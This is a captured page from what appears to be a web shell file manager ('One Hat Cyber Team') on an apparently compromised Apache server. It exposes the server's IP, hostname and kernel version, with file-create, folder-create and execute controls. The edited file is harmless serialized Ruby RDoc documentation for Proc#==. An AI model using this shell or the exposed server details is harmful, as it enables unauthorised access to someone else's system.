⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.13
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Proc
/
Edit File: %3d%3d-i.ri
U:RDoc::AnyMethod[iI"==:ETI"Proc#==;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"WTwo proc are the same if, and only if, they were created from the same code block.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"def return_block(&block) ;TI" block ;TI" end ;TI" ;TI""def pass_block_twice(&block) ;TI"4 [return_block(&block), return_block(&block)] ;TI" end ;TI" ;TI"7block1, block2 = pass_block_twice { puts 'test' } ;TI"Q# Blocks might be instantiated into Proc's lazily, so they may, or may not, ;TI"# be the same object. ;TI"I# But they are produced from the same code block, so they are equal ;TI"block1 == block2 ;TI"#=> true ;TI" ;TI"H# Another Proc will never be equal, even if the code is the "same" ;TI"$block1 == proc { puts 'test' } ;TI"#=> false;T:@format0: @fileI"proc.c;T:0@omit_headings_from_table_of_contents_below0I"Dprc == other -> true or false prc.eql?(other) -> true or false ;T0[[I" eql?;T@ I" (p1);T@#FI" Proc;TcRDoc::NormalClass00
Simpan